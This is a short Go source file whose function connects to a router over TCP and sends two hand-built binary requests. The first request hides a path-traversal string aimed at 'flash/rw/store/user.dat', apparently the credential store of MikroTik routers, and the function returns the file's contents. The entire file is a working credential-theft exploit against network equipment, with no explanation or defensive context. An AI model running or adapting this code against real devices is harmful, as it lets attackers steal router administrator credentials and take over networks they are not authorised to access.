package ms

import (
	"log"
	"net"
)

var firstRequest = []byte{
	0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
	0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
	0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
	0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
	0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
	0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
	0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
	0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
	0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
	0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
	0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
	0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
	0x00, 0x00,
}
var secondRequest = []byte{
	0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
	0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
	0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
	0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
	0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
	0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00,
}

func connectToRouter(ip string, port string) ([]byte, error) {
	buffer := make([]byte, 1024)
	conn, err := net.Dial("tcp", ip+":"+port)
	if err != nil {
		return nil, err
	}
	defer func() {
		if err := conn.Close(); err != nil {
			log.Fatalln(err)
		}
	}()
	if _, err := conn.Write(firstRequest); err != nil {
		return nil, err
	}
	if _, err := conn.Read(buffer); err != nil {
		return nil, err
	}
	secondRequest[19] = buffer[38]
	if _, err := conn.Write(secondRequest); err != nil {
		return nil, err
	}
	if _, err := conn.Read(buffer); err != nil {
		return nil, err
	}
	return buffer[55:], nil
}
